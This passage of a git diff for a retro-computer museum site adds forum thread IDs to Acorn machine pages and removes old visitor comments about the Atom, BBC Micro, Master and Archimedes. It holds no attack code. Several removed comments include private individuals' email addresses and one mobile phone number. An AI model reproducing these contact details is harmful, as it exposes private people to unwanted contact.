backers/venture capital on Kickstarter to gauge interest in Elite IV. - - A pledge of £20 gets you the game, of which there are 3820 places left, but higher pledges gets you more goodies: - - http://www.kickstarter.com/projects/1461411552/elite-dangerous - - author: Rob Turner (Kent, UK) - date: Wednesday 11th July 2012 - text: |- - If anyone''s interested in a whole A310/1 system and A3000 system in full working order, email me on asgardindustries@btinternet.com. Absolutely free but collect from Kent or pay carriage - Rob. - - Plus up to 5 svga monitors! - - author: fyrstyk (Suffolk) - date: Sunday 22nd April 2012 - text: |- - Cath, I''m a bit of a BBC nerd and would be able to give some equipment a good home if it''s still available. - - email is fyrstyk at gmail dot com - - author: trev - date: Thursday 22nd March 2012 - text: Hi, anyone selling any ARM Acorn gear? please email me at tripytrev@hotmail.com - - author: cath (halifax england) - date: Thursday 2nd February 2012 - text: |- - hi, my father recently passed away and has left a whole stack of old computers BBC and archimedes, i know at least two of each of these computers are working and then there are programs spares and accessories monitors etc i do remember them as a child but i''m no expert on what make model etc, it would seem a shame to skip/dump them does anyone know where i could sell or give to a good home?\ - thanks in advance cath - - author: Joseph Nollette (United States) - date: Sunday 29th January 2012 - text: They do not make RISC PCs anymore :-( ($\_$) - - author: Joseph Nollette (United States) - date: Sunday 29th January 2012 - text: They do not make RISC PCs anymore :-( ($\_$) - - author: Joseph Nollette (United States) - date: Sunday 29th January 2012 - text: They do not make RISC PCs anymore :-( ($\_$) - - author: Pete (UK) - date: Thursday 8th December 2011 - text: |- - Can anybody help me please ... I have been given an Archimedes and am anxious to get it running for nostalgic reasons. - - BUT I wasn''t given a monitor and of course, being so old its not your standard SVGA fitting. But what \*IS\* it and can anybody help with locating one? - - Thanks in advance - - author: Lee Duke (England) - date: Sunday 19th December 2010 - text: |- - I need some help!!!\ - I have a A3020. As of yesterday I thought it was beyond hope until I read about pressing the Delete key on power up and my A3020 booted up. I left it on for a few hours as it hasn''t been on in ages. Then I shut it down. As I was having problems using my Cub3000 monitor with it I tried using a PC monitor which wouldn''t work at all with it. That was the last time it was working correctly. Now when it boots up the floppy drive is accessed, the Numlock key is illuminated, the cursor flashes about 3 or 4 times until it is steady and then freezes. Once the the cursor has frozen I cannot use the keyboard at all.\ - Anyone got any ideas? The CMOS battery looks fine but is probably way beyond its use by date but it hasn''t leaked.\ - There is no IDE HDD. There are 4 memory modules installed so I''m guessing this is a 4MB A3020.\ - Any help what so ever would be greatly appreciated!!\ - Many Thanks in advance!. Please email me: leeorg_184@hotmail.com - - author: Jeremy Thomson (New Zealand) - date: Friday 12th November 2010 - text: |- - I was one of the first to get an Archimedes in NZ. The ''Lander'' demo just blew me away, as a working programmer I had a fair idea of the MIPs on display. RiscOS was a brilliant OS, each application was in its own directory, this had three files !boot, !run and !sprites. !sprites contained the icons for the application and any associated file types, so what did any wannbe hacker at the Auckland Acorn user group do, they changed the icons to there own personal taste and you could never figure what the files were on someone else Arch . !boot associated file types with icons and the application so you click on a file and it would load into the application, unless some trickster had messed with your !boot files.\ - My A305? originally had 512Kb, eventually it was to have 4Mb, ARM3, MIDI ST506 Disk controller SCSI CDROM. I remember wanting a CDROM but it would cost NZ$2000 at the time PC CDROM were NZ$500. That was the downfall of the Arch, they just couldn''t compete with the economies of scale from the Tawanese PCs. Well if you can''t beat em... just look at the ARM now, the worlds most popular (32bit or better) microprocessor. - - author: Khephren (UK) - date: Tuesday 9th November 2010 - text: |- - "here it was very well-known and commonly used"\ - Erm...no-one I knew had one, and most people had never heard of it. - - It had plenty of grunt, but no custom chips. A very old fashioned approach compared to the Amiga. - - author: Andy (UK) - date: Monday 18th October 2010 - text: Well, I think that they may well have under estimated the market potential for the Archimedes. I remember playing the demo 3d game that came with it ...impressive...but Acorn did not go bust.....They went on to create a joint venture with Apple called Advanced RISC Machines and now just ARM Ltd ..... sound familiar........look at your mobile device..chances are it is powered by one.. - - author: ed (UK) - date: Thursday 27th July 2006 - text: The first computer my family ever owned was an archimedes acorn of some sort. i spent hours playing chocks away with my dad. i've been searching all over for a rom of it so i could play it again, does anyone know of a site where i could download one? thanks. - - author: Richard Hedderly (UK) - date: Wednesday 14th May 2003 - text: I used to work for an computer store in the mid 80s and one day Acorn came to visit us with their new baby.. The Archimedes. We noticed as others did what an incredible games machine it made but Acorn were insistent that it was only for education and pushed that front. It could of blown the Amiga and STs off the face of the earth but they were too shortsighted to see it. Oh well. Maybe now in hindsight they can see the error of their ways. Oh no they can't, they've gone bust! - - author: Helgi Geirhards (Iceland) - date: Monday 14th April 2003 - text: I am scrambling for a Watford Electronics Video Digitiser Card running on my software located on a Acorn RiscPC. Is there any chance that you might know where to locate such an item? Those items where popular for video frame grabbing in the early 90´s - - author: Paul Kilfoyle (Somerset) - date: Tuesday 12th March 2002 - text: |- - I am trying to find some information about the standard Archimides colour monitor, used by schools in the UK,(made in Taiwan/Korea?) that was supplied with their A310 computer supplied around 1990. - - Specifically, what was the "vertical refresh rate" of these momitors? - - Does anyone out there still have the original specification booklets/manuals that came with the A310 as these may contain this information I am looking for. - - author: Gary (United Kingdom) - date: Sunday 3rd March 2002 - text: |- - This morning I was strolling around my local car-boot sale when I turned around to spot an Archimedes A3020 complete with monitor, disks and a couple of games. :D - - I've been playing Lemmings and James Pond (Robocod) this morning and was wondering if anyone could answer this question to enable me to play more. - - Is it possible to download a rom image from the internet and convert a disk to the format for the Archimedes and put the game on a disk? If possible please could you explain how to do it, i'm despirate to find out, Thank you related: - /museum/acorn-computer-a4 - /museum/acorn-computer-archimedes-a3000 diff --git a/content/museum/acorn-computer-atom.md b/content/museum/acorn-computer-atom.md index 27d02f23..2d5b350d 100644 --- a/content/museum/acorn-computer-atom.md +++ b/content/museum/acorn-computer-atom.md @@ -74,6 +74,7 @@ params: - emulators - links - docs + forum_thread: 95 photos: - title: ACORN ATOM subtitle: '' @@ -313,58 +314,6 @@ params:  compiled/archived by Keith Howell\  type of document : HTML\  source : [Oh no, not another computer museum!](https://electrickery.nl) - comments: - - author: John Ferguson (UK) - date: Thursday 12th April 2018 - text: Owner of two Acorn Atoms one of which is for sale on Ebay at this moment. - - author: Mikael (Sweden) - date: Monday 14th April 2014 - text: |- - I have found a Emulator of Acorn Atom, and printed out an manual to. So it''s gone be nice Basic programming. - - I like to program Basic, but I''ll need manuals so I know how the Basic language work out. And what I can see so was Acorn Atom a good computer, the Basic is easy to understand. - - author: Atom User - date: Friday 1st July 2011 - text: |- - "A lot of applications were available on sideways ROMs that plugged into the "utility ROM socket" as Acorn called it" - - The ROM sockets were continuous with the address space of the 6502, so did not need page switching. The Atom supported additional ROMs but they were not ''sideways'' ROMs. - - author: Roger Haycock (UK) - date: Monday 4th October 2010 - text: |- - I built an Atom from a kit. When I switched it on I had five pictures. This was caused by dry joints in the memory. If a pin was open it was read as a one. I wrote a program to find all the dry joints and gradually I got them all fixed. - - I still have my Atom although some of the keys are missing. I am wondering about getting it going again. - - author: DaveC (York, England) - date: Tuesday 28th September 2010 - text: I built my own Atom in 1979/1980. The hardest part was getting the springy key connectors through the holes in the pcb$ they kept jumping out and it took hours. The Atom was my first computer and I used it a lot while I was studying for my Electronics degree. I even used it to drive a speech synthesiser chip for my final year project. It still works! - - author: AlanH - date: Sunday 6th June 2010 - text: |- - I had a kit one that my older cousin assembled for me, although after a while it stopped working so had to send to Acorn for fixing.\ - The Atom was a great little machine for the day and I cut my coding teeth on it, I must have had it for a couple of years before I could afford to buy a Beeb which was in a different league.\ - After 30 yrs of programming its surprising how things haven''t really changed that much since those days on my Atom programming in BASIC and 8 bit assembler. - - author: IanE (UK) - date: Tuesday 9th March 2010 - text: |- - I had a factory built machine but a bog standard one. This came with 2K RAM. I upgraded it by buying a bag of chips which plugged into sockets pre-soldered on the board This took it up to 20K. - - The first one I had didn''t last long. Around the end of 1981 they converted from an external PSU to an internal one. My system came with just a length of wire that fitted in the power input socket on the back. We put a 13A plug on it and plugged it into the mains. There was a big blue flash and a bang. No more main board. My system should have had the external PSU but was supplied with just the mains cable.... they replaced it under warranty but it put a damper on Christmas Day! - - I kept games and programs on a reel to reel tape deck but eventually kileld the Atom by turning the output level on the tape too high. - - Best game was Galaxian! Just like the original including sounds but in mono and not colour. - - author: a (a) - date: Tuesday 30th August 2005 - text: Atom is advanced for its time look @ the 3D Plot - - author: Alex (Santa Cruz, CA, USA) - date: Thursday 2nd October 2003 - text: |- - I remember building an Acorn Atom fromkit with my father (I mostly watched) I remember having to cut a yogurt container to hold the little speaker! - - He modded this a lot with many, many extra roms and an analog and digital joystick and a cotroller like a R/C car controller. 5 1/4 hard drive and more memory if I remember correctly. - - My favorite game on it was a car driving game, where your car was a line along the bottom of the screen (the hood/bonnet) and the road was just made up of little white dots that marked the side of the road. And lets not forget the lines and lines of basic code you could type in to get the magic carpet game working! related: - /museum/acorn-computer-bbc-master - /museum/acorn-computer-bbc-master-aiv diff --git a/content/museum/acorn-computer-bbc-master-aiv.md b/content/museum/acorn-computer-bbc-master-aiv.md index ea6ddf25..94fdd9f3 100644 --- a/content/museum/acorn-computer-bbc-master-aiv.md +++ b/content/museum/acorn-computer-bbc-master-aiv.md @@ -70,6 +70,7 @@ params: - hardware - emulators - links + forum_thread: 963 hardware: - title: VOLTMACE DELTA CONTROLLERS subtitle: '' @@ -111,10 +112,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Programming of Acorn computers - comments: - - author: Malcolm Ramage (United Kingdon) - date: Monday 23rd May 2011 - text: More info and pictures of the AIV system can be found at http://acorn.chriswhy.co.uk/Computers/Domesday.html plus pictures of the machine internals. related: - /museum/acorn-computer-atom - /museum/acorn-computer-bbc-master diff --git a/content/museum/acorn-computer-bbc-master-compact.md b/content/museum/acorn-computer-bbc-master-compact.md index dfb8d619..c3369bf3 100644 --- a/content/museum/acorn-computer-bbc-master-compact.md +++ b/content/museum/acorn-computer-bbc-master-compact.md @@ -59,6 +59,7 @@ params: - hardware - emulators - links + forum_thread: 712 adverts: - title: 'ACORN AD #1' subtitle: '' @@ -120,62 +121,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Programming of Acorn computers - comments: - - author: Marianne (UK) - date: Sunday 29th October 2017 - text: Marc from Australia, that''s a sin even the pope couldn''t absolve you of! - - author: Marc (Australia) - date: Sunday 1st March 2015 - text: |- - As many Australians know, these machines plus the original beebs were prolific in Australian public and private (mainly Catholic) primary and high schools. - - And thus I have a confession to make. I helped load hundreds of these and the beebs into skips for recycling (destination unknown) in about 1994-5 as schools transitioned to Macs or X86 clones. - - At that time I had gone from C6 to Amiga and then to a 386 and didn''t see to keep one of these around (even though I was kinda fond of them having used them as a student myself). All that I kept was an Archimedes, which were briefly adopted in some places. - - Sorry, aficionados! - - author: EA - date: Friday 26th July 2013 - text: |- - Sparkey, when it''s Sparky - - Don''t tell others how to spell when you can''t spell deserve right! - - Who knows what someone will sell these systems for. - - author: EA - date: Friday 26th July 2013 - text: |- - Sparkey, when it''s Sparky - - Don''t tell others how to spell when you can''t spell deserve right! - - Who knows what someone will sell these systems for. - - author: john Nicholls (Kanahooka NSW Australia) - date: Monday 5th December 2011 - text: Hi I recently purchased a BBC compact to go with my 4 BBC B machines I also have an electron, plus an A3000, I have yet to purchase a B+ and Master 128 but the compact is rare and compliments the collection, I find there is nothing wrong with it and had fun discovering the differences to the Beeb, does anyone know what the edge connector is for? - - author: Jamie (UK) - date: Monday 22nd November 2010 - text: How could you SMASH A COMPUTER?? - - author: Sparkey989 - date: Saturday 11th September 2010 - text: Dude. None of theese are for sale. They don''t even own all of them, so if you can''t even spell what you don''t diserve it. - - author: callum brooke (london) - date: Wednesday 5th May 2010 - text: how much do u wat for this computer - - author: Jezza (UK) - date: Saturday 6th September 2008 - text: Gosh this site brings back memories. I had one of these back in ''86. It really was the biggest waste of space. There were only about 2 software titles sold on 3.5" disc at the time (the BBC B mainly used 5.25"), and of course there was no internet or LAN in my parents house! If i wanted it to do anything i had to program it myself. It was a bit much watching my friends play cool games on their Amigas while i was forced to write my own games that resembled those of the Spectrum age. In the end (much to my shame) in about 1989 i smashed it to bits with a hammer. I hated the bloody thing! - - author: mick (sheffield england) - date: Tuesday 5th February 2008 - text: this computer was also seen in the only fools and horses episode a frogs legacy i think. del boy is trying to sell them - - author: Linkman (Slovak republic) - date: Friday 15th October 2004 - text: Really ? how much ? - - author: Daniel (Poland - Katowice) - date: Sunday 12th September 2004 - text: |- - HI!\ - Where i can get this great computer?? related: - /museum/acorn-computer-atom - /museum/acorn-computer-bbc-master diff --git a/content/museum/acorn-computer-bbc-master.md b/content/museum/acorn-computer-bbc-master.md index eb431d4a..e2602054 100644 --- a/content/museum/acorn-computer-bbc-master.md +++ b/content/museum/acorn-computer-bbc-master.md @@ -68,6 +68,7 @@ params: - emulators - links - docs + forum_thread: 831 photos: - title: BBC MASTER subtitle: '' @@ -247,52 +248,6 @@ params:  compiled/archived by Chris Richardson\  type of document : ZIP\  source : [BBC Documentation Project](http://www.bbcdocs.com) - comments: - - author: Chris Jordan (UK) - date: Saturday 19th April 2014 - text: |- - David wrote: "the BBC B used the IC18 Sound Generator and the BBC Master the IC38 which offered the same number of channels (4) but slightly better quality sound. ... the BBC B+ also used the IC38!" - - David, ICXX is simply Acorn''s own designation for the position of the IC in the circuit. What identifies the Sound Generator is the manufacturer''s part number - SN76496 in the Model B and B+, and the SN76489 in the Master. There is no difference in the sound output quality between these two chips. - - By the way, are you the David Shepherd who wrote Atom Minotaur? I''m the Chris Jordan who designed the sound firmware driving the above chips in the BBC Micro. - - author: David Shepherd - date: Wednesday 2nd April 2014 - text: |- - "I believe this inaccurate. I recall no improvement in the sound feature between these two models." - - Pedantically yes, the BBC B used the IC18 Sound Generator and the BBC Master the IC38 which offered the same number of channels (4) but slightly better quality sound. - - I say pedantically, because the BBC B+ also used the IC38! - - author: Chris Jordan - date: Monday 3rd February 2014 - text: |- - "The BBC Master was an enhanced version of the BBC Model B providing improved features... These features were: ... 4 sound channels" - - I believe this inaccurate. I recall no improvement in the sound feature between these two models. - - author: Matthijs (Netherland) - date: Tuesday 30th October 2012 - text: |- - As far as I remember de BBC Master512 ran DR-DOS en not MS-DOS.\ - However you could play Flight Simulator on it. $-)\ - Also were able to program in Turbo Pascal. - - author: Userus - date: Thursday 22nd March 2012 - text: Most accomplished 8-bit home computers? For home games were much important while BBC''s had inferior graphics system. You may compare with MSX2 appeared the same year, for example. - - author: Mark (England ) - date: Thursday 20th January 2011 - text: |- - Does anyone know if the BBC B or Master has been put into VHDL code so it can be put onto a single chip ?? - - I know it''s been done for other old retro machines !! Might make a good project for a programmer proficiency in VDHL /Verilog programming. - - author: John H - date: Sunday 19th December 2010 - text: I started programming on one of these (actually on a model B in school)$ I''m now a senior software engineer on large server projects. It struck me the other day, there must be tens of thousands of professional programmers and engineers now active who all owe their careers to the BBC Computers In Schools project. Awesome, when you come to think about it. - - author: Steve (Adelaide, Australia) - date: Sunday 5th September 2004 - text: |- - My high school had these things up until 1994 when they were replaced with Macs! I always loved seeing these in action in the late 80's at the library there (before I started at that school in 93) with networking and games like Xor. They were a well designed computer, the fact that they hung around for so long says something.\ - From the previous page, I think an Australian school having BBC micro's must have been something of an anomaly. related: - /museum/acorn-computer-atom - /museum/acorn-computer-bbc-master-aiv diff --git a/content/museum/acorn-computer-bbc-model-a-b-b.md b/content/museum/acorn-computer-bbc-model-a-b-b.md index 6c46ed47..99929226 100644 --- a/content/museum/acorn-computer-bbc-model-a-b-b.md +++ b/content/museum/acorn-computer-bbc-model-a-b-b.md @@ -75,6 +75,7 @@ params: - emulators - links - docs + forum_thread: 48 photos: - title: BBC MODEL B subtitle: '' @@ -499,423 +500,6 @@ params:  compiled/archived by Mark Usher / Andreyro\  type of document : RTF\  source : [BBC Documentation Project](http://www.bbcdocs.com) - comments: - - author: Dox (Australia) - date: Monday 23rd April 2012 - text: |- - I couldn''t resist a trip down memory lane. First, a long overdue "Thank you" to Mr Hume. - - His whole Math''s class was caught up in his enthusiasm, excitedly awaiting the day when his Micro Computer would arrive. It was late. - - When it did, a small cadre of boys and girls gathered around the keyboard and monitor to watch as he loaded a few worthy but dull games. I seem to recall, only one or two got hands-on because they took so long to load. - - The following week, everyone else was rehearsing for the school play. That evening, he changed the course of my life. - - All I''d ever seen a computer do was play a few simple games. When asked what I wanted to do, I was too naive to know better. - - I asked if we could "type-in a game". And to my amazement, he did just that. For years after, "typing-in a game" meant copying from a magazine. I knew differently. - - Writing BBC BASIC in real time, Mr Hume crafted one of the few games I''d seen before ... "Bomber". Life. As I watched. We didn''t finish it in one night, nor ever as I recall. but I''d seen enough. I was hooked. I was consumed with the desire to do the same. I had to speak "fluent computer". - - Within 6 months, I''d able to do the game. Taking a simple idea and turning it into code. - - Within a year, I was coding in fluent machine code (hex, not assembler). Within a year, I was in high school and coding passionately. Along with a couple of mates, we wrote most of the senior schools'' computing assignments during our first term. LOL. Stopped us being bullied, oddly enough. Being able to write games made us geeks tolerable, even useful. We were awarded special privileges by the tougher kids and the teachers. It could have been so much worse. - - My own first computer was a VIC-20. An amazing gift, that my single mum couldn''t really afford. Later on, I managed to snag my BBC (an old model A) ... and loved it with a passion. Then the ST, my beloved Amiga and then the wilderness of MS-DOS until Linux and for the last decade, my Mac''s. - - It''s 30 years since the ZX Spectrum was released. A machine that I loved and loathed (fan-bois are not new). Nothing will ever compare to the BBC. (Arch, if you ever read this ... the Z80 was definitely better :-) - - How good was BBC Basic? And lightening fast. Procedures, wow. And the assembler. Econet. And of course, Elite. - - Thank you to Acorn, the BBC, Mr Hume. Arch and Beef. It''s 29 years later, I''m awake at 3am still coding furiously. Good night. - - author: Peter Gathercole (Somerset, United Kingdom) - date: Sunday 7th May 2006 - text: I was responsible for equiping a teaching lab. at Newcastle Polytechnic, and natrually I chose the BBC micro (a controversial decision when everyone else was buying original IBM PC's). 16 model B (suitable for a class of 32), networked together with ECONET to a server with a 20MB hard disk. I was given a free hand to buy 'demonstrative' hardware to show what computers could do. We ended up with robotic arms, 2 different speach synths, graphic tablets, 2 different camera systems, a speach recognition system, a BITSTICK (great for playing Elite), touch sensitive screens, light pens, pen plotter, Teletext adapter, 6502 second processor. The systems were used for Basic and Pascal programming, word processing (view), spreadsheets (viewsheet). With all of the 'toys' out, it really was something to see. All this connected to the 'standard' ports of the BBC. What a wonderful machine. I know from experience that it was a great system for teaching. I still have two running today! - - author: Alan Goodwin (UK) - date: Wednesday 8th September 2004 - text: |- - Let's face it; everyone has used a BBC. Schools loved 'em...and rightly so. The real draw, though, was seeing "Elite" running on it. I started coding 3d vector routines as a result, whilst I got my 'o' level in computer studies with three programs I made for fun (a crude music sequencer, a bug-ridden 3d graphical adventure game and a simple word processor). Biggest surprise the old girl gave me was when I slammed in my new copy of Superior Software's "Citadel" and she started TALKING to me! "Whatch owt for speeeech!", she said, "Ower new program, coming soooon!". - - I dropped my sandwich! - - author: Caroline (Hampshire, UK) - date: Thursday 29th January 2004 - text: |- - My ex husband was an electronics technician in the RAF and when he came out of the forces at the end of the 70s he also got into computing. He bought a computer kit from an electronics magazine for £500 (which was delivered in a Securicor security van) and assembled it himself. - - When the BBC B came out, we bought one, with a green-screen monitor and a dot-matrix printer. Backup storage to tape. - - I taught myself BASIC programming on it and got seriously stuck into graphics and small utilities. - - The problem with the graphics (wireframe, not solid in those far-off days) was that it took at least an hour to plot each one so if you got one of the co-ordinates wrong and it didn't come out the way you wanted it to, you had to wait another hour or more for it to cycle through again to see whether you'd got it right. - - I remember trying to bribe, threaten and otherwise corral my kids into helping me debug huge pages of BASIC code from the tractor-feed striped-paper printouts with rows of holes down each side.. - - author: Timmy (Uk) - date: Thursday 5th May 2022 - text: Look for help with a bbc microcomputer - - author: ANDREW (SCOTLAND) - date: Monday 16th April 2018 - text: IT LOOKS LIKE SOME THING I WOOD FIND IN MY GRANNYS ATIK - - author: Simon Anthony (Australia) - date: Sunday 24th July 2016 - text: |- - Does anyone remember my software ? Did anyone actually use it? I once worked for ECS which branded my products. Does anyone remember my articles in Acorn User and Archimedes World ? - and Archive for that matter ? - - I''m told my NewSaver prog was used in schools in Wales, UK not NS. - - I''m just wondering... - - author: Amir Hussain (Pakistan) - date: Tuesday 7th July 2015 - text: |- - This was the first computer I ever touched . . . . . . Still remember the amusement of that touch.. After taking few programming classes I decided to write the CowBoy Shooting game in the BBC Basic. Started writing the code and ended up with just a screen replicated from the game scene into BBC Basic. - - That was the time I never thought of anything else.... - - My teacher Mr. Moosa Kazmi, was the person who encouraged..... - - author: Rick Galbraith (Winnipeg, MB Canada) - date: Wednesday 26th June 2013 - text: |- - It was the summer of 1986 and I had some free time on my hands. The public library in Dryden, Ontario, a pulp-mill town in northwestern Ontario, had just received 6 BBC B+ (North American version). They offered a course in basic computing. So my first computer experience was on the BBC. I was 36.\ - A couple of months later, I took a job in another town for three months. Then, I came back to Dryden and started to write an article about a person in that other community. I composed it on the BBC.\ - We had an Epson Printer at the library. I bought my own printer cartridge as I typed a lot of pages and didn''t want to use their supplies. I think there was a charge for their supplies.\ - In 1990, my wife bought me a present: It was a BBC that had been owned but never used by another library. I acquired a printer, and a copy of the Oak Leaves printer driver. I had fun using that driver to implement the print settings through the View word processor and the highlight codes.\ - The BBC is gathering dust in my basement. I fiddled with the floppy drive jumpers and lost the settings. I burned out 2 of the kimtron monitors.\ - I''ve gone on to use various flavours of Linux (after being for a short time a Windows user, from 1997 until 2002), But the BBC was fun.\ - One memory was of a computer game called Pirate. I copied the disc and could play the game, but could never read the basic program. Using BBC basic, I was able to perform some operations on that disc. The disk file table took two sectors. There was a twelve character title space. The name Pirates was in that space, separated by spaces. But the spaces were not ASCII 32, but ASCII 00. This made the file system unviewable! Then I made a program to rebuild the Basic Program, and I was able to see an extra character in each line that hid the program from displaying on screen. sneaky. - - author: bbcbfan - date: Thursday 28th March 2013 - text: |- - can someone help me , i have a bbc b with poorman''s sideway ram $) ( a eeprom + little chip mounted and some wires for write protect and not wire protect. do some have the schemaic of this , it''s to long ago , but the problem is the switch write protect and not write protect is broken\ - there is also a risitor bij de not write protect option - - which old magazine explain how to make this poorman''s sideway ram ??? - - author: Phil Caldwell (London, UK) - date: Wednesday 27th February 2013 - text: |- - Jimi (Manchester) - Wednesday 20th June 2007 - - Jimi, couldn''t agree with you more. - - I build PC''s for fun now, I lecture in computer engineering in my spare time and I am basically the go-to guy at work for my manager when the company PC''s fail in the different sections of the building. - - My colleagues don''t even bother with the IT section as they are based in the north, we''re in London. - - The curriculum these days must be so mind numbing for students. - - author: Phil Caldwell (London, UK) - date: Wednesday 27th February 2013 - text: |- - I remember using these computers when I was at school, looking at this website brought so many happy memories flooding back. - - One quite funny, I was in fourth year and I could not get a program to run, it was around 600 lines of BASIC, it kept coming back syntax error, I''m sure you all remember this problem. - - I tried for around an hour to get it to run, all of a sudden this horrid little second year kid stood behind me and said you''ve made a mistake in line 150 or there-abouts, I can''t remember now. - - I looked back, still couldn''t find the error, he simply stood beside me entered some code on the keyboard and lo and behold it damned well worked. - - I always despised that kid after that. Looking at this site made me think of that and gave me a really good laugh. - - People these days don''t know how papmpered they are with mouses, CD Roms, Gigabytes of RAM, multi Ghz processors and so on. Oh the good old days.. - - author: James Cresswell (UK) - date: Monday 29th October 2012 - text: Just thought I would add my penny''s worth on the fantastic BBC Micro model A. It was the very first computer I was introduced to and from the very first day, I was hooked. The school I was in, was one of the first to have a school computer and because it was a boarding school, I was on that machine day and night, with only the glow of the green monitor for company. I must have wrote dozens of programs, and to see the massive program ''RUN'' for the first time was the best buzz I ever had. Of course computers now are far superior, but sometimes I crave to get behind that green monitor again and sit up all night writing lines of code. The BBC Micro may be consigned to history now, but it will always have a special place in my heart, as it was so special to me when I was growing up. - - author: Mike Cook (Manchester England) - date: Tuesday 10th May 2011 - text: |- - A video of the 1985 Micro User show in Manchester:-\ - http://vimeo.com/23537869 - - author: Mark Cardy (Northern Ireland) - date: Monday 25th April 2011 - text: I Had A BBC ''B''. Got it for Christmas 1983. it was the best thing that i''d ever got. i learned the Language, and some of the Advanced language (assembly if i remember right). i noticed that the BBC was alot quicker than any other PC in that era, even IBM etc. What happened? why did it not take over the world? It was so quick, easy to use, British, etc. - - author: Gordon McIntosh (UK) - date: Wednesday 6th April 2011 - text: I remember using your computer lab Peter and the robotic arms - these were great machines - - author: Ben McPherson - date: Friday 18th March 2011 - text: Caroline, Peter, I''d be very interested to hear more from you about your experiences with the BBC Micro. Do email me if you''d be interested in sharing - other users too. I may be making a short film about the BBC Micro. - - author: Kevin (Scotland) - date: Wednesday 19th January 2011 - text: Remember at primary school every class from P3-P7 would get its allocated day on the BBC B....everyone used to eagerly wait on their turn to get on for just 5 minutes. The dangerous thing was always the BREAK key - which on a BBC terminates the program and lands you right back at the command prompt. Remember there was one day when someone did that and everyone else missed their turn for that week because the teacher couldn''t be bothered loading the program in again from cassette....everyone else in the class was totally gutted. He wasn''t popular in the playground that afternoon LOL - - author: Helmut (Germany) - date: Friday 14th January 2011 - text: Hi , I have got 2 BBC Micro, DD drive, 1 Acorn Electron, all hardly used. Anybody interested? - - author: Lez Anderson (England) - date: Tuesday 14th September 2010 - text: |- - Has anyone put the BBC onto a FPGA (Field Programmable Gate Array) I believe it''s already been done for some other old computers like the Coco 3 (25MHz !!!) and Amstrad CPC.. - - If anyone has any information regarding this please post a message with Web link etc .. - - author: Chulang Searles (Barbados) - date: Friday 2nd July 2010 - text: I had use it when I was doing my electronic course in 1991 for plant control modules. It was fanstatic to use and easy. I wish that PC could be as simple to program and interface to as these devices could - - author: Chulang Searles (Barbados) - date: Friday 2nd July 2010 - text: I had use it when I was doing my electronic course in 1991 for plant control modules. It was fanstatic to use and easy. I wish that PC could be as simple to program and interface to as these devices could - - author: Warren Heyes (United kingdom) - date: Wednesday 5th May 2010 - text: I have a BBC computer, colour monitor, dual drive, tape recorder, rom expansion board, manuals, software, joystick etc. going begging. Only monitor lead missing. Not used for years so can''t be sure it all still works. Anyone interested? - Cheshire/Merseyside area - - author: Paul (Yorkshire, UK) - date: Sunday 2nd May 2010 - text: Kev, I''m in Sheffield and would be happy to pick up the Beeb stuff from you. My mobile is 07949263072. - - author: Kev Martin (UK) - date: Friday 30th April 2010 - text: |- - I have two BBC 32k computers, disc drives, two monitors (one colour) many ROMs, books and discs. Last udes many years ago and working then. Anyone interested? Free for collection from Brigg, North Lincolnshire or they will be thrown away.\ - Kev - - author: Antony Franks (West Yorkshire, UK) - date: Tuesday 28th April 2009 - text: |- - I have a BBC Model B, S/N 02-B01-215984\ - Bought in (I think) mid/late 80''s\ - Sidewise extra ROM board, Watford DFS, Watford 32k RAM board, iinterWord, iinterSheet, interChart, Watford mouse. No cables, manuals but makes the OK noise when switched on. Due to house move this must go - free to anyone who can collect otherwise it''s for the skip! - - author: Philip Black (Sussex, UK) - date: Wednesday 1st April 2009 - text: Hi Carol, I would love the Beeb computer. But how can I get in touch with you? - - author: Carol (Kent, S$E$ England) - date: Wednesday 28th January 2009 - text: |- - I have been given a BBC Micro model B computer in full working order with external disk drive/RAM drive, monitor and memory expansion.\ - I would like to give it to anyone who can collect it from me in Kent S E England. - - author: Nigel Bevan (Bristol UK) - date: Wednesday 12th March 2008 - text: |- - I have to downsize and have a lot of Acorn memorabilia. Includes: Master, Risc600, hundreds of discs, monitor, drives (5 1/4 and 3") bound sets of Micro User, Archimedes World, Acorn World and lots of other stuff.\ - Do you know who might be interested in buying any of this stuff? Contact me by e-mail and I can let you know what else I have. - - author: Joe hardisty (manchester) - date: Friday 19th October 2007 - text: i have a bbc computer for sale of anyone wants it, i payed 40 with postage, and i would idealy like £30 for it, as i am running low on funds hehe - - author: Steve (Australia) - date: Saturday 6th October 2007 - text: |- - Does anyone in Australia have a 5.25 inch disk drive for the BBC they'd like to sell? I've just bought a BBC setup from eBay with disks of classic games, but the disk drive is knackered. I even have a Z80 second processor that I'd consider swapping for a 6502 Second Processor. My email is\ - stephenknoxbigpondcom - - Thanks - - author: jimi (manchester) - date: Wednesday 20th June 2007 - text: has anyone noticed almost everyone who used a bbc in school managed to get an o level in I.T. or a degree in programming or at the very least some experience in programming that shows how rubbish the modern curriclum is!!! take that blair and i hav 1 waiting for the new guy taking his place. - - author: jimi mc (manchester) - date: Wednesday 20th June 2007 - text: oh yes and does anyone know it a modern 3 1/2 floppy drive is compatible with a model b??? woul help for game transfer - - author: jimi mc (Manchester) - date: Wednesday 20th June 2007 - text: MAN bbc's rule i hav a model b and a cumana floppy disc but no games and why the hell couldnt they just have used the same type of cassette interface as a 48k spectrum that might explain why i have no games but 13 and loving it!!! - - author: joshua01793 (swindon) - date: Friday 15th June 2007 - text: hell i love the bbc computer i am oly 14 and i no most of bbc basic i do not have one but i do have the beebm on my pc so i can pracits - - author: John Nuttall (Guildford) - date: Sunday 10th June 2007 - text: |- - I've just been given a working BBC micro, a real nostalgia trip. It boots with message\ - ACORN MOS\ - Acorn 1770 DFS - - How can I tell which model I have and what RAM is installed please? - - author: TOM (UK) - date: Tuesday 27th March 2007 - text: David Glass (Scotland) - I think you're talking about grannies garden, if you're still looking. if anyone can tell me the name of the games i'm after mentioned below (TOM (UK)), i'm still looking! - - author: martin overthrow (harlow (uk)) - date: Monday 19th March 2007 - text: |- - As an engineer i loved the old BBC, i could up grade an A to a B in about 45 minutes. they were a joy to use and to fix.\ - does anyone remember the Master 128 and the Doomsday Project? it was a Philips Laser Vision Player connected to a Master 128 with a special interface to control the laser disc player. - - author: Daniel Clohesy (Australia) - date: Monday 5th February 2007 - text: I remember that my primary school in Paddington, Sydney, Australia was one of the first public (state) schools to have a "computer room". The very first computer I used was the BBC micro which we thought was pretty flash! We used C64's aswell but my fondest memories of the BBC was playing "Elite" with the school principle. - - author: David Glass (Scotland) - date: Monday 29th January 2007 - text: |- 